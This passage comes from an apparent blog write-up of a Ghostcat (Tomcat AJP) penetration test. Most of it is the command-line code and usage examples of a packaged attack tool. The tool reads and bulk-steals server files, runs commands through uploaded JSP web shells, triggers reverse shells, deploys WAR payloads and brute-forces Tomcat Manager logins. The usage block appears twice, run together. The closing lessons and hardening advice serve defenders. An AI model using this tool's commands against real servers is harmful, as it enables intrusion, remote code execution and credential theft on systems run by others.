p_scan.add_argument("host", help="Target host")
p_scan.add_argument("ajp_port", type=int, nargs='?', default=8009)
p_scan.add_argument("--timeout", type=int, default=3)
# ---- read ----
p_read = subparsers.add_parser("read", help="Read a file via Ghostcat")
p_read.add_argument("host")
p_read.add_argument("ajp_port", type=int)
p_read.add_argument("file", help="Remote file path")
p_read.add_argument("-o", "--output", help="Save to file")
p_read.add_argument("--timeout", type=int, default=10)
p_read.add_argument("--extract", action="store_true", help="Extract secrets")
# ---- exec ----
p_exec = subparsers.add_parser("exec", help="Execute a command using a JSP shell (attribute 'cmd')")
p_exec.add_argument("host")
p_exec.add_argument("ajp_port", type=int)
p_exec.add_argument("jsp", help="JSP path (e.g. /cmd2.jsp)")
p_exec.add_argument("cmd")
p_exec.add_argument("--timeout", type=int, default=10)
# ---- revshell ----
p_rev = subparsers.add_parser("revshell", help="Trigger a reverse shell JSP (pre-uploaded)")
p_rev.add_argument("host")
p_rev.add_argument("ajp_port", type=int)
p_rev.add_argument("jsp", help="JSP path (e.g. /rev.jsp)")
p_rev.add_argument("--timeout", type=int, default=10)
# ---- snatch ----
p_snatch = subparsers.add_parser("snatch", help="Bulk-read common sensitive files")
p_snatch.add_argument("host")
p_snatch.add_argument("ajp_port", type=int)
p_snatch.add_argument("--wordlist", help="Custom wordlist")
p_snatch.add_argument("--output-dir")
p_snatch.add_argument("--timeout", type=int, default=10)
# ---- upload ----
p_upload = subparsers.add_parser("upload", help="Upload a file (PUT or Tomcat Manager WAR)")
p_upload.add_argument("host")
p_upload.add_argument("http_port", type=int)
p_upload.add_argument("local_file")
p_upload.add_argument("remote_path", help="Remote path (e.g. /webdav/shell.txt)")
p_upload.add_argument("--method", choices=["put", "war"], default="put", help="Upload method")
p_upload.add_argument("--username", help="Username for authentication")
p_upload.add_argument("--password", help="Password for authentication")
p_upload.add_argument("--ssl", action="store_true")
p_upload.add_argument("--timeout", type=int, default=10)
# ---- rce (upload + exec) ----
p_rce = subparsers.add_parser("rce", help="Upload a JSP shell and execute a command (WebDAV required)")
p_rce.add_argument("host")
p_rce.add_argument("ajp_port", type=int)
p_rce.add_argument("http_port", type=int)
p_rce.add_argument("cmd", help="Command to run")
p_rce.add_argument("--timeout", type=int, default=10)
# ---- brute ----
p_brute = subparsers.add_parser("brute", help="Brute-force Tomcat Manager credentials")
p_brute.add_argument("host")
p_brute.add_argument("http_port", type=int)
p_brute.add_argument("--userlist", help="Username wordlist")
p_brute.add_argument("--passlist", help="Password wordlist")
p_brute.add_argument("--timeout", type=int, default=10)
p_brute.add_argument("--quiet", action="store_true")
# ---- deploy ----
p_deploy = subparsers.add_parser("deploy", help="Deploy a WAR file via Tomcat Manager")
p_deploy.add_argument("host")
p_deploy.add_argument("http_port", type=int)
p_deploy.add_argument("war_file")
p_deploy.add_argument("--username", required=True)
p_deploy.add_argument("--password", required=True)
p_deploy.add_argument("--ssl", action="store_true")
p_deploy.add_argument("--timeout", type=int, default=10)
args = parser.parse_args()
proxy = args.proxy if hasattr(args, 'proxy') else None
verbose = args.verbose if hasattr(args, 'verbose') else False
# Dispatch
if args.command == "check":
cmd_check(args, proxy, verbose)
elif args.command == "scan":
cmd_scan(args, proxy, verbose)
elif args.command == "read":
cmd_read(args, proxy, verbose)
elif args.command == "exec":
cmd_exec(args, proxy, verbose)
elif args.command == "revshell":
cmd_revshell(args, proxy, verbose)
elif args.command == "snatch":
cmd_snatch(args, proxy, verbose)
elif args.command == "upload":
cmd_upload(args, proxy, verbose)
elif args.command == "rce":
cmd_rce(args, proxy, verbose)
elif args.command == "brute":
cmd_brute(args, proxy, verbose)
elif args.command == "deploy":
cmd_deploy(args, proxy, verbose)
if __name__ == "__main__":
main()
From Proof of Concept to Framework
Examples:
# Check vulnerability
python3 ghostcat-pwn.py check target.com 8009
# Scan port
python3 ghostcat-pwn.py scan target.com 8009
# Read file
python3 ghostcat-pwn.py read target.com 8009 /WEB-INF/web.xml
# Execute command on pre-uploaded shell
python3 ghostcat-pwn.py exec target.com 8009 /cmd2.jsp "id"
# Trigger reverse shell JSP
python3 ghostcat-pwn.py revshell target.com 8009 /rev.jsp
# Snatch common files
python3 ghostcat-pwn.py snatch target.com 8009
# Upload a file via WebDAV PUT
python3 ghostcat-pwn.py upload localhost 8080 shell.jsp /webdav/shell.txt
# Deploy WAR via Tomcat Manager
python3 ghostcat-pwn.py upload --method war --username tomcat --password s3cret localhost 8080 shell.war /manager/text/deploy
# RCE: upload a JSP shell and execute command
python3 ghostcat-pwn.py rce localhost 8009 8080 "whoami"
# Brute-force Tomcat Manager credentials
python3 ghostcat-pwn.py brute localhost 8080
# Deploy WAR using known credentials
python3 ghostcat-pwn.py deploy localhost 8080 --username tomcat --password s3cret shell.war
# Use proxy (SOCKS5)
python3 ghostcat-pwn.py --proxy socks5://127.0.0.1:9050 read target.com 8009 /WEB-INF/web.xml
# Verbose output
python3 ghostcat-pwn.py --verbose read target.com 8009 /WEB-INF/web.xmlExamples:
# Check vulnerability
python3 ghostcat-pwn.py check target.com 8009
# Scan port
python3 ghostcat-pwn.py scan target.com 8009
# Read file
python3 ghostcat-pwn.py read target.com 8009 /WEB-INF/web.xml
# Execute command on pre-uploaded shell
python3 ghostcat-pwn.py exec target.com 8009 /cmd2.jsp "id"
# Trigger reverse shell JSP
python3 ghostcat-pwn.py revshell target.com 8009 /rev.jsp
# Snatch common files
python3 ghostcat-pwn.py snatch target.com 8009
# Upload a file via WebDAV PUT
python3 ghostcat-pwn.py upload localhost 8080 shell.jsp /webdav/shell.txt
# Deploy WAR via Tomcat Manager
python3 ghostcat-pwn.py upload --method war --username tomcat --password s3cret localhost 8080 shell.war /manager/text/deploy
# RCE: upload a JSP shell and execute command
python3 ghostcat-pwn.py rce localhost 8009 8080 "whoami"
# Brute-force Tomcat Manager credentials
python3 ghostcat-pwn.py brute localhost 8080
# Deploy WAR using known credentials
python3 ghostcat-pwn.py deploy localhost 8080 --username tomcat --password s3cret shell.war
# Use proxy (SOCKS5)
python3 ghostcat-pwn.py --proxy socks5://127.0.0.1:9050 read target.com 8009 /WEB-INF/web.xml
# Verbose output
python3 ghostcat-pwn.py --verbose read target.com 8009 /WEB-INF/web.xmlExecuting the Command Shell
Spawning a reverse shell
Reading the web.xml
Lessons Learned from the Engagement
Several key takeaways emerged from this assessment:
- Internal services should never be assumed safe simply because they are not internet-facing.
- Public exploits often reflect ideal conditions rather than real-world environments.
- Protocol-level understanding remains one of the most valuable skills for offensive and defensive security professionals.
- Legacy systems frequently persist far longer than organizations expect.
- Proper network segmentation and service hardening can dramatically reduce the impact of vulnerabilities such as Ghostcat.
Defensive Recommendations
Organizations should ensure that:
- Tomcat is upgraded to a patched release.
- The AJP connector is disabled when not required.
- Access to AJP is restricted to trusted hosts.
- Shared secrets are configured for AJP communication.
- Internal services are continuously inventoried and monitored.
Even vulnerabilities that are several years old can remain highly impactful when exposed in enterprise environments.
Conclusion
Ghostcat remains an excellent example of how seemingly low-profile infrastructure services can create significant security exposure when deployed insecurely.
What began as a simple validation exercise ultimately led us to develop a more reliable implementation and package it into a reusable framework for future engagements.
More importantly, the experience reinforced a lesson that every security professional eventually learns:
Tools are valuable, but understanding the underlying technology is what makes the difference when those tools stop working.
Disclosure: This article is provided for educational purposes and authorized security testing only. Always obtain explicit permission before testing systems you do not own or manage.
🙌 Found This Useful? Show Support ❤️
If this guide helped you in any way, show some love and support:
👏 Clap on Medium 💬 Drop a comment below ⭐️ Follow me on GitHub 📺 Subscribe on YouTube 🤝 Connect with me on LinkedIn 💬 Connect on Twitter: @deep_cyber_noob